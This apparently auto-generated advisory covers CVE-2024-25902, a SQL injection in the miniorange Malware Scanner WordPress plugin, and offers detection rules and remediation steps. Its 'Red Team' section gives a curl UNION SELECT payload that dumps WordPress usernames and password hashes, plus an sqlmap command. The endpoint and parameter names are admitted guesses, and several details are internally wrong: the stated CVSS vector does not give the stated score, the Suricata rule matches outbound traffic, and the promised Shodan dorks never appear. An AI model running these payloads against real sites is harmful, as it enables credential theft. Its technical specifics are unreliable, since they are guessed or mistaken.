CVE-2024-25902
Executive Summary
CVE-2024-25902 is a critical SQL Injection vulnerability discovered in the WordPress plugin Malware Scanner by miniorange, affecting versions from n/a through 4.7.2. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands into the database, potentially leading to data exfiltration, credential theft, or complete site compromise. The vulnerability stems from improper neutralization of special elements used in an SQL command. As of this report, no official patch has been released, and the vendor's status remains unknown. Given the plugin's widespread use in WordPress ecosystems, this poses a significant threat to site security.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the Malware Scanner plugin from the WordPress dashboard or via direct download are at risk. The lack of a patch means that supply chain security is compromised, and users must rely on manual mitigation or removal of the plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 7.6 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: None
The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality and integrity. An attacker can read and modify database contents, including user credentials and sensitive site data.
Deep Dive & Mechanics
The vulnerability exists in the Malware Scanner plugin's handling of user-supplied input within SQL queries. Specifically, the plugin fails to sanitize or parameterize input passed to SQL statements, allowing an attacker to inject malicious SQL code. The injection point is likely in a parameter used for scanning or querying malware signatures, where user input is directly concatenated into a SQL query.
Root Cause: The plugin uses functions like $wpdb->query() or $wpdb->get_results() with unsanitized input, bypassing WordPress's built-in $wpdb->prepare() method.
Attack Vector: An unauthenticated attacker can send a crafted HTTP request to a vulnerable endpoint (e.g., an AJAX action or a REST API endpoint) with malicious SQL payloads in parameters such as scan_id, file_path, or malware_hash.
Impact: Successful exploitation allows the attacker to:
- Extract sensitive data (e.g., user tables, options, post meta).
- Modify or delete database records.
- Escalate privileges by altering user roles.
- Potentially gain administrative access to the WordPress site.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common SQLi fixes.
Vulnerable Code (Example):
$scan_id = $_GET['scan_id'];
$results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}malware_scans WHERE id = $scan_id" );
Patched Code (Example):
$scan_id = intval( $_GET['scan_id'] );
$results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}malware_scans WHERE id = %d", $scan_id ) );
The patched version uses intval() to ensure the input is an integer and $wpdb->prepare() to safely parameterize the query.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress with the Malware Scanner plugin version 4.7.2.
- Identify the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=mo_malware_scan). - Use a tool like
sqlmapor manual injection.
Manual Exploitation Example:
curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
--data "action=mo_malware_scan&scan_id=1 UNION SELECT user_login,user_pass FROM wp_users--"
Automated Exploitation with sqlmap:
sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=mo_malware_scan&scan_id=1" \
--data="action=mo_malware_scan&scan_id=1" \
--batch --dbs
Blue Team (Defensive)
Detection Steps:
- Monitor for unusual SQL error messages in logs.
- Look for requests containing SQL keywords (UNION, SELECT, FROM) in parameters.
- Use WAF rules to block common SQLi patterns.
Honeypot Setup:
- Deploy a fake WordPress site with the vulnerable plugin to capture attacker payloads.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with parameters containing SQL keywords (e.g.,
UNION,SELECT,--). - Requests to
/wp-admin/admin-ajax.phpwithaction=mo_malware_scanand suspiciousscan_idvalues.
- HTTP requests with parameters containing SQL keywords (e.g.,
- File IOCs:
- Unexpected files in
/wp-content/uploads/or/tmp/(e.g., webshells).
- Unexpected files in
- Database IOCs:
- New or modified user accounts with administrative privileges.
- Unusual entries in
wp_optionsorwp_usermeta.
Detection Engineering
YARA Rule
rule CVE_2024_25902_SQLi_MalwareScanner {
meta:
description = "Detects SQL injection attempts targeting miniorange Malware Scanner plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-25902"
strings:
$sqli1 = "UNION SELECT" nocase
$sqli2 = "OR 1=1" nocase
$sqli3 = "admin-ajax.php" nocase
$sqli4 = "mo_malware_scan" nocase
condition:
any of ($sqli*) and #sqli3 > 0 and #sqli4 > 0
}
Sigma Rule
title: CVE-2024-25902 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against miniorange Malware Scanner plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query:
- '*action=mo_malware_scan*'
- '*UNION*'
- '*SELECT*'
- '*OR*'
condition: selection
falsepositives:
- Legitimate scanning activities (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-25902 SQL Injection Attempt - Malware Scanner";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=mo_malware_scan"; http_client_body;
pcre:"/(UNION|SELECT|OR\s+1=1)/i";
sid:1000001;
rev:1;
reference:cve,2024-25902;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block SQLi patterns.
- Review database logs for any signs of compromise.
Long-term Fix:
- Monitor the vendor's website for an official patch.
- If no patch is forthcoming, consider replacing the plugin with an alternative malware scanner.
Valters IT Signature
Report generated by Valters IT Cyber Threat Intelligence Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.